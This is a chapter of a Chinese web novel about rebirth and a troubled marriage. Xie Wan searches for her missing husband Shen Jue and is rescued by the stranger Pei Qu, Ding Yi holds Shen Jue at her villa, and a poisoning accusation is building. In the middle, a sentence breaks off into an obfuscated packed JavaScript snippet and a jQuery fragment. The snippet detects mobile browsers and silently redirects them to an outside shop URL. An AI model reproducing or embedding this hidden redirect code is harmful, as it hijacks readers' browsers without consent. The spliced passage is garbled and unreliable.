沈玦不见了。
起初，谢晚并未太在意。他性子静，有时去城中书肆一待便是半日，或是寻个清静茶馆临窗看书。但到了晚膳时分，人还未归，遣人去他常去的几处询问，皆摇头说未见。谢晚心中那根弦，便微微绷紧了。
雨又开始下，淅淅沥沥，敲打着屋檐，也敲在她逐渐焦躁的心上。她亲自去了沈玦那间僻静的书房。屋内收拾得一丝不苟，书案上笔墨纸砚井然，镇纸下压着一页临了一半的《灵飞经》，小楷清峻，力透纸背，却在一个字的转角处突兀地洇开一团墨渍，显出落笔时心绪的波动。常看的几卷书还摊在枕边，他惯用的那只青瓷药罐也还在原处。
不像远行，倒像是……临时起意出去散心，却再没回来。
谢晚站在空荡荡的书房里，环视着这过于整洁、缺乏生气的空间，一种熟悉的、冰冷的恐慌悄然攫住了她。前世，似乎也是在这个时节，沈玦也曾有过一次短暂的“消失”。那时她正为打通江淮盐路焦头烂额，对他的去留并未上心，只当他气闷出去走走，甚至隐隐希望他识趣些，自己有了去处，也省得她开口。后来他是自己回来的，更沉默，更消瘦，眼底最后一点光也寂灭了。她当时在忙什么？对了，在核对丁府送来的第一批盐引文书，一笔一笔，算着未来的金山银山。
为什么……重来一次，他还是这样？一言不发地离开，将她置于这片令人心慌的空白里？她就那么不值得信任？撕了信，驳了父亲，还不够表明她的态度吗？他还要她怎样？把心剖出来给他看吗？
一股夹杂着委屈的怒火冲上头顶，烧得她眼眶发涩。她扶住冰冷的书案边缘，指尖用力到泛白。
“娘子，”管事低着头进来，声音带着小心，“门房说，午后见过姑爷独自出门，往城西方向去了。各处医馆、书肆、茶楼都问遍了，没有消息。城门口也打探过，未见姑爷出城。”
城西？玉带河，揽月桥……他常去散心的地方。
“再加派人手，沿着玉带河两岸仔细找！客栈、画舫、哪怕是河边的草棚都不要放过！”谢晚的声音有些发紧，“去问问河边居住的人家，有没有见过一个穿月白长衫、身形清瘦的年轻男子。”
管事应声退下。谢晚在原地站了片刻，猛地转身，取过挂在墙角的蓑衣斗笠，径自向外走去。她不能再干等下去。
雨丝细密，天色晦暗如暮。谢晚带着两个得力的小厮，沿着玉带河一路寻去。雨水打湿了石板路，泛着清冷的光。她问遍了河边浣衣的妇人、垂钓的老叟、甚至是嬉闹的孩童，得到的回复都是摇头。揽月桥上空无一人，只有雨水顺着古老的桥栏无声滑落，汇入下面幽深的河水。
仿佛沈玦这个人，就这么凭空消失了，被这无边无际的雨幕吞噬。
一种比前世更甚的恐慌，混合着被“背叛”的恼怒，在她胸中翻腾。他怎么敢？怎么能在她决心扭转一切、费力修补的时候，就这样一走了之？难道我都已经撕了那信还不够表达我的态度吗？难道她谢晚，在他心中就永远是个冷血无情、随时可以抛弃他的恶人？
雨水顺着斗笠边缘流下，模糊了她的视线。心中那点隐约的不安和自责，被这股怨怒死死压住。她甚至没有去想，沈玦为何会“恰好”在丁仪可能出现的揽月桥晕倒，为何会“恰好”被丁仪所救。她满脑子都是他的“不告而别”，他的“任性”，他的“不信”。
“娘子，雨越来越大了，这一带都快找遍了，姑爷会不会……已经回去了？或是去了别的亲友处？”一个小厮抹着脸上的雨水，小心翼翼地问。
谢晚抿紧唇，望向河道更上游的方向。那边已是城外，山峦起伏，道路泥泞。“继续找。上游有个废弃的河神庙，他有时也会去那里。”
一行人深一脚浅一脚地沿着泥泞的河岸往上游走。雨势不减，天色越发昏暗，远处山影只剩模糊的轮廓。河神庙破败不堪，蛛网尘封，空无一人。
希望一点点湮灭。谢晚站在庙门前，看着外面连绵的雨幕，只觉得浑身冰冷，那股怒气被无助感冲刷得摇摇欲坠。他能去哪儿？他身子那么弱，这大雨天……
“娘子，看那边！好像有路可以上山，那边有个观景亭，姑爷会不会……”另一个小厮指着河对岸一条掩在杂树野草中的小径。
那小路极陡，被雨水浸泡后更是湿滑难行。但此刻任何一点可能都不能放过。谢晚咬了咬牙：“过去看看。”
艰难地渡过一道简易木桥，三人开始攀爬那条小径。雨水混着泥浆，每走一步都打滑。谢晚心中焦急，走得快了些，在一个陡峭的转弯处，脚下踩着的一块石头突然松动！
“姑娘小心！”
惊呼声中，谢晚只觉脚下一空，整个人失去平衡，顺着湿滑泥泞的斜坡就滚了下去！天旋地转，冰冷的雨水和泥浆灌入口鼻，耳边是轰然的水声和两个小厮变了调的呼喊。她试图抓住什么，指尖只掠过冰冷的石壁和湿滑的草叶，下坠之势丝毫未减。
下面……是乱石嶙峋的河滩，更远处，是雾气笼罩、深不见底的山崖！
绝望攫住心脏的刹那，一道青影如电，自斜刺里疾掠而来！
预想中的撞击和剧痛并未到来，一股柔和却坚定的力道猛地揽住了她的腰，将她下坠的势头硬生生带偏，两人一同滚倒在崖边一片相对平缓、长满湿滑苔藓的巨石上。谢晚被撞得七荤八素，惊魂未定，只感觉到身下并非虚空，而是坚实的臂膀，以及……一股清冽的、混合着墨香与淡淡草药气的陌生气息。
他似乎在模仿某个人，但是又不觉得刻意。
她急促地喘息着，雨水模糊了视线，勉强抬头，对上一双眼睛。
救她的人是个年轻男子，似乎也是个书生打扮，穿着一件半湿的青色直裰，此刻正半跪在她身侧，手臂还虚护在她周围，以防她再次滑落。他发髻微乱，几缕湿发贴在额角脸颊，却丝毫无损那张脸的……惊人昳丽。
是的，昳丽。谢晚从未见过一个男子生得这般……精致。眉眼如画，鼻梁挺直，唇色是天然的淡绯，肤色在雨水的浸润下显得愈发白皙剔透。最特别的是一双眼睛，瞳孔颜色偏浅，像是上好的琥珀，此刻因为关切和方才的惊险，漾着粼粼微光，竟比沈玦那双沉静的黑眸，更添几分动人心魄的清澈与……无害的温柔。
他长得……竟比沈玦还要好看。不是沈玦那种清冷孤皎如月光的好看，而是春日桃花初绽、带着鲜活生气与水润光泽的俊美，近乎漂亮，却不显女气，反因那通身的书卷气和此刻眸中的诚挚，别有一种朗朗风致。
“姑娘，你没事吧？”他开口，声音也清润好听，带着恰到好处的担忧，“可有伤到哪里？”
谢晚这才回过神来，慌忙坐起身，避开他的搀扶，自己检查了一下。除了些擦伤和浑身泥泞狼狈，并无大碍。“没……没事。多谢公子救命之恩。”她定了定神，敛衽为礼，尽管在这泥泞山崖边，这礼节显得有些不伦不类。
“举手之劳，姑娘不必客气。”那书生也站起身，彬彬有礼地退开一步，保持着一个恰当的距离。他目光扫过谢晚略显苍白的脸和湿透的衣衫，眉头微蹙，“雨势甚急，山路险滑，姑娘怎会独自在此险地？”他顿了顿，看向气喘吁吁从上面连滚带爬赶下来的两个小厮，“可是在寻人？”
“正是。”谢晚心中焦急沈玦，也顾不得许多，“公子可曾在这附近，见过一位身穿月白长衫、身形清瘦、脸色苍白的年轻男子？大概这么高。”她比划了一下。
书生凝神想了想，摇头：“在下在此处徘徊了片刻，是为寻几味罕见草药，并未见到如姑娘所描述之人。”他看了看天色和愈发凶猛的山雨，诚恳道：“此地不宜久留，恐有山石滑落之险。姑娘既要寻人，不若先随在下到前方不远处的山亭暂避，待雨势稍歇，再作打算？在下也可帮忙一同寻找。”
他的提议合情合理，态度温文有礼，眼神清澈坦荡，令人难以拒绝。况且方才救命之恩属实。
谢晚心中记挂沈玦，但也知如此大雨盲目寻找确非良策，且自己方才险些丧命，两个小厮也疲惫惊惶。她点了点头：“那……有劳公子了。不知公子高姓大名？”
书生微微一笑，那笑容在这阴冷山雨中，竟有种驱散晦暗的明亮。
“在下裴渠，一介游学书生，姑苏人士。”
谢晚最终还是带着裴渠回了谢府。
山亭避雨时，裴渠言谈举止斯文有礼，学识也颇渊博，谈及江南风物、古籍典故，皆能娓娓道来，且见解不俗。他自称是姑苏裴氏远支，家道中落，父母早亡，此次是变卖仅余家产游学四方，增长见闻，兼寻些谋生之路，如今盘缠将尽，正不知何处落脚。
雨稍歇后，他们又在附近找寻了一番，依旧没有沈玦的踪影。谢晚心中那团火烧火燎的焦急与怨怒，被冰冷的雨水和徒劳的寻找浇熄了大半，只剩下无尽的疲惫和一种更深的不安。看着裴渠身上那件半湿的、料子普通的青色直裰，看着他被雨水打湿后更显莹白的侧脸和那双清澈含忧的琥珀色眼眸，一个念头突兀地跳了出来。
带他回去。
沈玦不是不告而别吗？不是不信她吗？不是宁可晕倒在丁仪面前，也不肯回来与她分说半句吗？
好啊。那她也让他看看，这谢府，离了他沈玦，是不是就转不动了？是不是就没人了？
她谢晚，离了他，是不是就活该独守空房，惶惶不可终日？
一丝带着痛意的、近乎幼稚的报复心理，混杂着对裴渠适才救命之恩的感激，以及某种连她自己都不愿深究的、对那张过于精致好看的脸庞的微妙触动，让她做出了决定。
“裴公子救命之恩，无以为报。若不嫌弃寒舍简陋，可暂居府中，一来调养，二来……谢家也有些产业文书需人打理，公子才学，或可相助。”谢晚语气平静，带着生意人惯有的、衡量价值的客气。
裴渠似乎有些意外，随即露出感激而略带赧然的笑容：“这……如何使得？在下与姑娘萍水相逢，已蒙搭救，岂敢再叨扰府上？”
“公子不必推辞。谢家尚有空余客房，也多一双碗筷而已。就当是……答谢公子方才援手。”谢晚语气坚决了几分，不容置疑地吩咐小厮，“回去后，将西跨院的‘听竹轩’收拾出来，给裴公子住。”
“那……恭敬不如从命。谢过姑娘，谢过……府上。”裴渠深深一揖，姿态优雅，无可挑剔。
回到谢府时，已是掌灯时分。府内灯火通明，却弥漫着一股压抑的气氛。谢秉坤听说女儿带回来一个陌生男子，还安置在了仅次于主院的西跨院，气得在正厅里又摔了一个茶盏，但碍于谢晚白日里那番“谁才是主人”的宣言，终究没敢冲到面前来闹，只阴着脸派人来打听裴渠的底细。
谢晚懒得理会。她命人好生伺候裴渠洗漱更衣，又请了府里常用的大夫来给他看诊，借口是淋雨恐染风寒，自己则疲惫不堪地沐浴换衣。热水洗去一身泥泞冰冷，却洗不去心头沉甸甸的窒闷。
她望着镜中自己略显苍白的脸，眼底有着清晰的倦色和一丝茫然的狠厉。
沈玦，你在哪儿？看到我带别的男人回来，你会怎样？
会……有一点在意吗？
前世，你好像离我越来越远。
这个念头让她心口刺痛，却又诡异地带来一丝快意。
---
与此同时，城郊丁仪的别庄“枕流阁”内，却是另一番景象。
这里与其说是别院，不如说是一座精心构筑、巧夺天工的山庄。坐落半山，引活泉为池，叠石成景，花木扶疏，即便在雨夜，廊下宫灯次第点亮，映照着潺潺流水与玲珑假山，恍若仙境。
沈玦被安置在山庄深处最幽静的一处独立小院里，名唤“送玉斋”。陈设极尽雅致舒适，熏着宁神的百合香，炭盆烧得暖融融的，驱散了雨夜的寒湿。
丁仪请来的大夫是城中有名的圣手，仔细为沈玦诊了脉，开了方子，又细细叮嘱了煎服之法与饮食禁忌。药是山庄里自备的上等药材，由专门的仆妇在小茶房里小心看守着煎好，准时送来。
沈玦的身体确实虚弱，那日晕倒并非全然作伪。胸口的滞闷郁结，加上淋雨引动旧疾，让他几乎起不了身。但他神志始终清醒，对丁仪的一切安排，都保持着沉默的、冰冷的接受。
他不抗拒喝药，因为不想让这具不争气的躯壳成为被摆布的借口；他也不刻意绝食，因为毫无意义。他只是把自己变成了一尊没有情绪的玉像，配合着，却隔绝着。
丁仪每日都会来“送玉斋”小坐片刻。有时带一本新搜罗的孤本，有时是一碟精致的、据说对身体有益的茶点，有时只是隔着屏风，问问仆妇他的饮食起居。她从不越界，言辞体贴，笑容温婉，将一个“恰巧救下陌生病弱书生、并悉心照料”的大家闺秀形象扮演得无可指摘。
但沈玦能感觉到那温婉表象下，日渐失去耐心的探究与一丝被漠视的不悦。
这日傍晚，药送来得比平日稍晚了些。沈玦正靠坐在窗边的软榻上，望着窗外被雨水洗刷得格外青翠的竹影出神。仆妇将黑褐色的药汁端到他面前的小几上，浓郁苦涩的气味弥漫开来。
沈玦眉头几不可察地蹙了一下，却还是伸手去端那温热的药碗。
“且慢。”丁仪的声音从门口传来。她今日换了身雨过天青色的软烟罗长裙，乌发松松挽着，只别了一支碧玉簪，比平日更添几分居家随意的慵懒之美。她缓步走进来，示意仆妇退下。
室内只剩下他们两人。炭火偶尔哔剥一声，衬得周遭格外寂静。
丁仪走到榻前，并未坐下，只是居高临下地、仔细打量着沈玦苍白却平静的侧脸。他端药碗的手顿了顿，并未看她。
“沈公子，”丁仪忽然轻笑一声，那笑声柔媚，却无端透着一股凉意，“你这般乖乖喝药，倒让我有些无趣了。”
沈玦眼睫微颤，依旧沉默。
丁仪俯下身，凑近了些，那股清雅的香气变得浓郁，几乎将药味都压了下去。她的声音压得极低，带着一种亲昵的、却令人毛骨悚然的威胁：“你知道吗？我最不喜欢别人敷衍我。你若是不肯好好爱惜自己这副身子……或者说，不肯领我的情……”
她停顿了一下，红唇几乎贴近沈玦的耳廓，吐气如兰，说出的话却冰冷刺骨：
“我就只好亲自去一趟谢府，把你‘请’回来。然后……按着你，一口一口，嘴对嘴地，喂你喝下去。”
她说得慢条斯理，甚至带着点玩笑般的娇嗔语气，仿佛在说一件风流趣事。可那字里行间不容错辨的掌控欲和某种近乎残忍的兴致，让沈玦端着药碗的手指，骤然收紧。
他缓缓抬起眼，第一次如此近距离地、毫无避讳地看向丁仪。她的眼睛很美，水汪汪的，此刻却清晰地映出他苍白的面容，和那眼底深处一闪而过的……荒谬感。
是的，荒谬。
沈玦忽然极轻、极淡地笑了一下。那笑容虚弱，却奇异地冲散了他周身沉寂的冰雪，透出一种洞悉的疲惫与疏离。
“丁小姐，”他开口，声音因久未多言而有些低哑，却异常清晰，“何必如此大费周章？”
丁仪挑眉，似乎没料到他是这个反应。
“沈某不过一介无用病躯，在谢家是，在丁小姐这里，亦是。”沈玦的目光平静地掠过她精心修饰的脸庞，看向她身后华美却空洞的室内陈设，“小姐将我留在此处，与收藏一件别致的古玩，饲养一只稀有的雀鸟，并无本质不同。新鲜劲儿过了，或厌了，或碎了，弃之即可。”
他顿了顿，语气甚至带上了一丝几不可察的、近乎怜悯的嘲意：“既只是玩物，又何必动气，乃至……说出那般有失身份的话来？”
丁仪脸上的笑容，终于一点点凝固，消失。那双总是漾着温柔水波的眼睛，慢慢沉静下来，变得幽深难测。她盯着沈玦，像是第一次真正看清这个病弱书生的内里。
他看穿了。不仅看穿了她表面的意图，甚至看穿了她心底那点连自己都不愿深究的、将人物化的掌控癖好。他如此平静地说出来，没有愤怒，没有恐惧，只有一种彻底认命般的清醒，和一丝……对她这番作态的轻微鄙夷。
这比任何激烈的反抗，都更让她感到一种被冒犯的恼怒，以及一种更强烈的、想要打破他这层冰冷外壳的欲望。
室内的空气仿佛凝滞了。炭火的热气，药的苦味，她身上的幽香，混杂在一起，令人窒息。
良久，丁仪缓缓直起身，退开两步，脸上重新挂起那无懈可击的温婉笑容，只是眼底再无半分暖意。
“沈公子说笑了。”她语气轻飘飘的，“你好好休息，按时用药。我明日再来看你。”
说完，她转身离去，步履依旧优雅，裙裾拂过光洁的地面，没有一丝声响。
沈玦直到她的身影消失在门外，廊下的灯光重新将寂静填满，才缓缓松开了紧握着药碗的手指。碗沿几乎被他捏得温热。
他垂下眼，看着碗中黑沉沉的药汁，映出自己模糊扭曲的倒影。
然后，他端起碗，仰头，将那一碗苦涩至极的液体，一饮而尽。
喉间火烧火燎，胃里翻腾不适。
但总比……别的什么要好。
他得活着。至少现在，不能以那种不堪的方式，死在丁仪手里，或是成为她用来刺激、羞辱谢晚的工具。
尽管，谢晚或许……早已不在意了。
尽管，谢晚或许……没有心。
他就该看明白了。
谢晚爱的，从来不是他沈玦这个人。她爱的是沈玦能为她提供的价值——早年是识文断字、打理书稿的清客价值，后来是散尽家财、供她起步的资本价值，再后来，是他这副皮囊与“谢晚夫君”名分所能交换的、更进一步的权势价值。
她欣赏的，或许是他那份与谢家格格不入的清冷书卷气，但那欣赏如同孩童看中一件别致的玩具，新鲜时把玩，厌弃时便可丢弃。她从未试图真正理解他那份清冷下的坚持与骄傲，也从未在乎过他那病弱躯壳里藏着的、不愿折腰的魂灵。
这个念头划过心底，带起一阵细微却绵长的刺痛，比那药汁更苦。
沈玦在“送玉斋”又静养了两日。
丁仪果然如她所说，每日都来，有时带着书，有时带着琴，有时只是隔着帘子问安。她不再提那日近乎狎昵的威胁，言行举止恢复了大家闺秀应有的分寸与端庄，仿佛那日的失态从未发生。只是，她停留在沈玦身上的目光，时间悄然变长了，那温婉笑意下的审视，也愈发深邃难测。
沈玦依旧是一潭死水。按时喝药，按时用膳，顺从地让大夫诊脉，然后便是对着窗外发呆，或是闭目养神。他对丁仪的一切示好都报以沉默的、有礼的疏远，像一块被流水日夜冲刷却始终无法焐热的寒玉。
丁仪心中的那点异样，便在这日复一日的无声对峙中，悄然滋长。
她见过太多对她趋之若鹜的男子，或为她的家世，或为她的容貌，或兼而有之。他们的殷勤讨好，她早已腻烦。沈玦却截然不同。他的冷淡不是欲擒故纵，他的沉默并非待价而沽，那是一种从骨子里透出来的、对自身处境的漠然，以及对周遭一切（包括她丁仪）的……无谓。
这种无谓，像一根极细的刺，扎进了她向来顺遂高傲的心底。起初只是微恼，后来竟生出一种奇异的痒，催促着她去探究，去打破，去看到他冰层下可能存在的裂痕，或是……别的什么。
然而，她也清楚地知道，强留无益。沈玦的心根本不在“枕流阁”，他那双沉静的黑眸偶尔望向窗外某个方向时，里面空茫一片，却又仿佛承载着千斤重负。那重负，大抵与谢晚有关。
想到谢晚，丁仪唇角勾起一抹极淡的、冷诮的弧度。一个精明算计到骨子里的商贾之女，满身铜臭，目光短浅。撕了一封信，驳了父亲，就以为能力挽狂澜，守得住她那点可笑的“夫妻情分”？沈玦那样的人，岂是她谢晚能消受、能理解的？
丁仪信步走到窗前，望着庭院中被雨水洗刷得晶莹剔透的芭蕉叶。天气竟意外地放晴了片刻，一缕稀薄的阳光穿透云层，落在湿漉漉的青石板上，泛起短暂的金光。她忽然觉得，或许不必急。
依着谢晚那副利益至上、耳根子又未必真硬的性子，内忧外患之下，将沈玦拱手送出，不过是迟早的事。前世如此，今生又能有多大差别？自己此刻强行扣着人，反倒落了下乘，显得急切。不如……放他回去。
让他亲眼看看，谢晚是如何在压力下动摇，如何再次将他置于权衡的天平之上。让他那颗看似冰冷的心，再被现实狠狠刺伤一次。到时候，他才会明白，谁才是真正能庇护他、珍视他的人，即便这份珍视带着别样的趣味。
放长线，才能钓大鱼。对于沈玦这样的“鱼”，普通的饵料和急躁的收线，都是无用的。
只是……
丁仪转过身，目光掠过室内沈玦用过的那张紫檀木嵌螺钿小几，上面空荡荡的，只残留着一点药碗放置过的痕迹。她心里那点异样的情绪又泛了上来，丝丝缕缕，并不强烈，却挥之不去。
就这么让他走了，这两日的“悉心照料”，岂非白费？总得……留点念想，或者说，确保这条“线”不会真的断掉。
她沉吟片刻，扬声唤道：“青禾。”
一个身着浅碧衣裙、面容秀静的大丫鬟应声而入，敛衽行礼：“小姐。”
“沈公子身子已无大碍，想必也归心似箭。”丁仪的语气恢复了平日里的淡然，“你去安排一下，用我的马车，稳妥地送沈公子回谢府。”
青禾微微一愣，似有不解，但很快垂首应是。
“还有，”丁仪走到书案前，执笔蘸墨，在一张洒金花笺上快速写了几行字，轻轻吹干，递给她，“将这方子交给沈公子，是王大夫根据他脉象调整的后续调理方剂，让他按时服用。”
青禾双手接过。
丁仪顿了顿，状似随意地补充道：“送他回去后，你不必急着回来。谢府那边……想必正热闹。你找个由头，在附近盘桓两日。”
青禾眼中闪过一丝了然，头垂得更低：“奴婢明白。小姐是想知道……沈公子回去后境况如何？谢家是否会为难于他？”
“为难？”丁仪轻笑一声，指尖拂过案上一支开得正好的白山茶，花瓣柔嫩洁白，“谢家如今是谢晚当家，她既撕了信，面上总得过得去。我不过是想知道……”她语气微缓，似在斟酌词句，“沈公子有没有好好遵医嘱，按时喝药。毕竟，他那身子，经不起折腾。”
她抬眼，望向窗外那缕已然消失的阳光，云层重新聚拢，天色复又阴沉下来。
“再者，”她声音放得更轻，几乎像是自言自语，“谢晚那性子，未必能容人。沈玦此番回去，若遭冷遇，或是……有了什么变故，总该有人知晓才是。”
青禾不再多问，只恭敬道：“奴婢定会留心。”
“去吧。”丁仪挥了挥手。
看着青禾退下的背影，丁仪缓缓坐回椅中，指尖无意识地摩挲着那冰凉的花瓣。
只是关心他是否按时用药罢了。
只是好奇，谢晚在压力之下，会如何对待这个她曾试图舍弃、又勉强挽回的夫君。
只是……想确保这条线，还牢牢攥在自己手里。
她如此告诉自己，将心头那丝说不清道不明的烦闷与隐约的期待，归结为对一件有趣“玩物”去向的合理关注。
仅此而已。
窗外，又渐渐沥沥地下起了雨。枕流阁内暖香依旧，却仿佛因某个人的即将离去，而显得空寂了几分。丁仪独坐窗前，听着雨声，第一次觉得，这精心布置的雅致居所，似乎有些过于安静了。
沈玦回到谢府时，天已擦黑，细雨又飘了起来。
丁仪的马车将他送到侧门外便悄然离去，并未惊动太多人。他独自一人，撑着来时那把旧伞，踩着湿滑的石板路，一步步走回那座熟悉的、却让他感到无比窒息的宅院。山庄几日，药石温养，他气色略好了些，但眉宇间的郁色与眼底的沉寂，却比离开时更浓重。
刚进二门，便隐约听得前厅方向传来一阵笑语，夹杂着父亲谢秉坤比平日高昂许多的谈吐声，还有一个陌生的、清润温和的男声在谦逊应答。那笑声刺耳地钻进沈玦耳中，他脚步顿了顿，伞沿雨水成串滴落，在脚边汇成小小一洼。
他没有往前厅去，径直往自己那僻静的书房走。廊下偶遇的丫鬟小厮见他回来，都露出讶异神色，匆匆行礼，眼神却有些飘忽躲闪。沈玦只当未见。
还未走到书房，却在穿堂处迎面撞见了谢晚。
她似乎刚从前面回来，身上还带着前厅暖阁里熏染的、混合了酒菜与陌生香料的气息，发髻一丝不苟，绛紫裙裾拂过光洁的地面。见到他，她明显愣了一下，脚步停住，目光在他身上迅速扫过，似在确认他是否完好，随即，那目光里便掠过一丝复杂难辨的情绪，像是松了口气，又像是被什么刺了一下，最终沉淀为一种刻意维持的平静。
“回来了？”她开口，语气平淡，听不出喜怒。
“嗯。”沈玦应了一声，垂下眼睫。
短暂的沉默在雨声中弥漫。穿堂风过，带着湿寒，吹得两人衣袂微动。
“那位是裴公子，”谢晚忽然开口，打破了沉寂，语气如同介绍一件新添置的、颇有价值的摆设，“今日在城外遇险，幸得他相救。他乃姑苏人士，游学至此，暂无落脚处，我便邀他暂居府中西跨院。”她顿了顿，目光掠过沈玦苍白的脸，“他是我的救命恩人。”
救命恩人。
四个字，清晰地砸在沈玦心坎上。
他缓缓抬起眼，看向谢晚。她的脸庞在廊下灯笼的光晕里，显得有些模糊，只有那双眼睛，明亮，甚至带着一丝他看不懂的、近乎挑衅的亮光。她在看着他，等待他的反应。
沈玦只觉得胸腔里那股熟悉的滞闷，瞬间化为冰冷的钝痛，蔓延至四肢百骸。他看着她，试图从她脸上找到一丝愧疚，一丝为难，哪怕只是一丝歉意。没有。只有平静，以及那缕令他心寒的、近乎炫耀般的介绍。
原来，她冒雨外出寻他，或许只是顺便，遇了险，被一个“无家可归”的陌生男子所救，然后，她便顺理成章地将人带了回来，安置在仅次于主院的西跨院。
而他，她的正头夫君，失踪几日，生死未卜地归来，得到的只是一句平淡的“回来了”，和一段关于另一个男人为何会出现在她家中的解释。
多么讽刺。
本来她将他送去丁府，至少还冠以“为了谢家前程”的名头，还曾有过几分虚伪的歉意与权衡的痛苦。后来，她撕了信，驳了父亲，他原以为……原以为或许真的有所不同。哪怕只是一点点。
现在看来，是他痴心妄想。她谢晚的世界里，利益与冲动永远摆在最前。需要时，他是可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109858|195845||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以牺牲的棋子；不需要时，他是占着位置的障碍；如今，更是成了她用来平衡某种心理、甚至可能是用来刺激他的工具。
那所谓的“夫妻一体”，那烧毁和离书时的决绝火光，此刻回想起来，像一场荒诞至极的戏码。而他，就是戏台上最可笑的那个丑角。
失望，像深冬的冰水，浸透了他每一寸骨骼。不是愤怒，不是怨恨，只是一种彻骨的、了无生气的失望。
他望着谢晚，忽然极轻、极淡地笑了一下。那笑容空洞，没有温度，甚至带着一丝解脱般的了然。
“原来如此。”他听见自己的声音平静地响起，没有波澜，“救命恩人，理当如此。”
说完，他不再看她，侧身从她身边走过，径直走向自己书房的方向。背影挺直，却萧索得像一棵即将落尽最后一片叶子的枯树。
谢晚站在原地，看着他毫不留恋离去的背影，方才那股刻意撑起的平静骤然碎裂。她以为会看到他皱眉，不悦，甚至质问。可他只是那样看了她一眼，笑了笑，然后走了。
那眼神，那笑容，比任何怒骂争吵都更让她心慌。仿佛有什么东西，在她还没反应过来的时候，就已经彻底失去了。
……
接下来的几日，谢府表面维持着一种古怪的平衡。
裴渠正式住了下来。他容貌昳丽，谈吐风雅，又刻意放低了姿态，对谢晚恭敬有加，对谢秉坤更是投其所好，时常陪着谈论些古董字画、风月闲篇，哄得谢秉坤眉开眼笑，越发觉得这个“救命恩人”知情识趣，比那个整日阴沉着脸的病秧子女婿强了百倍。
谢晚忙于处理因沈玦失踪和父亲暗中施压而有些动荡的生意，又碍于“恩人”的情面，对裴渠的起居颇为关照，时常过问。裴渠则总是恰到好处地表达感激与不安，偶尔流露出几分寄人篱下的落寞，引得谢晚心中那点歉疚与微妙的好感愈发滋长。两人时有接触，落在旁人眼中，便多了几分遐想。
沈玦则彻底将自己封闭起来。除了必要的用膳，也常常避开众人，他几乎不出书房院门。谢晚去过两次，一次被他以“身体不适”为由挡在门外，一次进去，只见他对着棋盘独自打谱，对她的话恍若未闻。那种无声的抗拒，比争吵更让谢晚难受，却也激起了她骨子里那股不服输的倔强——他越是这样，她越不想低头。
谢秉坤将这一切看在眼里，心中窃喜。这日，他特意寻了个由头，带着裴渠来到沈玦书房附近的小花园“偶遇”正在独自散步的沈玦。
“玦儿啊，”谢秉坤摆出岳父的架子，语气却充满讥诮，“这几日气色还是不好，得多出来走动走动，别整天闷在屋里，像个见不得光的。”
裴渠跟在谢秉坤身后，对沈玦拱手为礼，笑容温润无害：“沈兄。”态度无可挑剔。
沈玦看了他们一眼，不欲多言，微微颔首，便打算离开。
“哎，别急着走啊。”谢秉坤拦住他，目光在沈玦身上那件半旧直裰上扫过，又瞥了一眼身旁锦衣玉带、风度翩翩的裴渠，故意叹道，“你看看裴公子，虽是客居，但仪表堂堂，学识又好，晚儿很是倚重。你再看看你……唉，不是我说你，男子汉大丈夫，总得有点用处，不能总靠着女人养着，还整天摆脸色给谁看？”
沈玦脚步顿住，袖中的手缓缓握紧，指节泛白。
裴渠连忙道：“谢伯父言重了。小侄蒙谢娘子收留，已是感激不尽，岂敢与沈兄相比？沈兄乃谢娘子正配，气度清华，非我等俗人可及。”这话看似谦逊，实则将“正配”与“气度清华”放在嘴边，更像是一种绵里藏针的对比。
沈玦扯了扯嘴角，依旧沉默。
谢秉坤却像是被提醒了，冷哼道：“正配？也得有正配的样子！整日病怏怏的，连个子嗣都……”他话未说完，但未尽之意昭然若揭。
裴渠适时露出些许尴尬神色，低声劝道：“伯父，沈兄身体不适，还是少说两句吧。不如让小侄陪伯父去前厅看看新得的那幅画？”
谢秉顺坡下驴，又瞪了沈玦一眼，才被裴渠劝着走了。
沈玦站在原地，看着他们离去的背影，春日暖阳落在身上，却只感到刺骨的寒意。那些话语，像淬了毒的针，一根根扎进他早已千疮百孔的自尊里。
然而，这仅仅是个开始。
两日后，谢晚正在账房核账，裴渠身边的小厮忽然慌慌张张跑来，说裴公子在花园凉亭内突发急症，腹痛如绞。谢晚连忙赶去，只见裴渠脸色惨白，额角冷汗涔涔，蜷缩在石凳上，痛苦呻吟。
“怎么回事？午膳吃了什么？”谢晚急问。
裴渠的小厮扑通跪下，带着哭腔道：“回娘子，公子午膳只用了些清粥小菜，与往常无异。只是……只是午膳前，沈姑爷院里的丫鬟送来一碟新做的山药糕，说是姑爷念及公子客居，特意让送来尝尝。公子推辞不过，用了两块，不久便……”
话音未落，裴渠又痛苦地闷哼一声。
沈玦院里的丫鬟？山药糕？
谢晚心头一沉。她立刻派人去请大夫，同时让人去沈玦院里询问。
沈玦很快被请到了现场。他看了一眼痛苦不堪的裴渠，又看了看跪在地上指证的小厮，眉头蹙起：“我并未让人送过什么糕点。”
“可那丫鬟分明说是奉了姑爷您的命！”小厮急道。
“我房内只有两个粗使婆子，并无年轻丫鬟。”沈玦语气冷淡却肯定。
这时，派去询问的管事回来，面色古怪，低声对谢晚道：“娘子，问过了，沈姑爷院里的确没有年轻丫鬟。但是……守二门的一个婆子说，午前似乎看见……看见姑爷身边常跟着的那个小厮墨竹，提着一个食盒往花园方向去了。”
墨竹是沈玦从沈家带过来的唯一一个小厮，自小跟着他，最是忠心不过。
谢晚看向沈玦。
沈玦脸色白了一分，袖中的手微微发抖：“墨竹今日告假出府，为他娘亲抓药，此刻并未在府中。”
“那就是无人对证了？”谢晚的声音冷了下来。她看着沈玦苍白的脸，又看看痛苦呻吟的裴渠，想起前几日父亲的话语，想起沈玦那冰冷失望的眼神，想起他对自己带裴渠回来的沉默抗拒……一股邪火混合着连日来的压力与某种被背叛的猜疑，猛地窜上心头。
难道……他真的因嫉生恨，做出这等下作之事？只因为裴渠是她的“救命恩人”，得了她的青眼？
“我没有。”沈玦迎着她的目光，一字一句道，眼底是清晰的屈辱与倔强，“我不屑于此。”
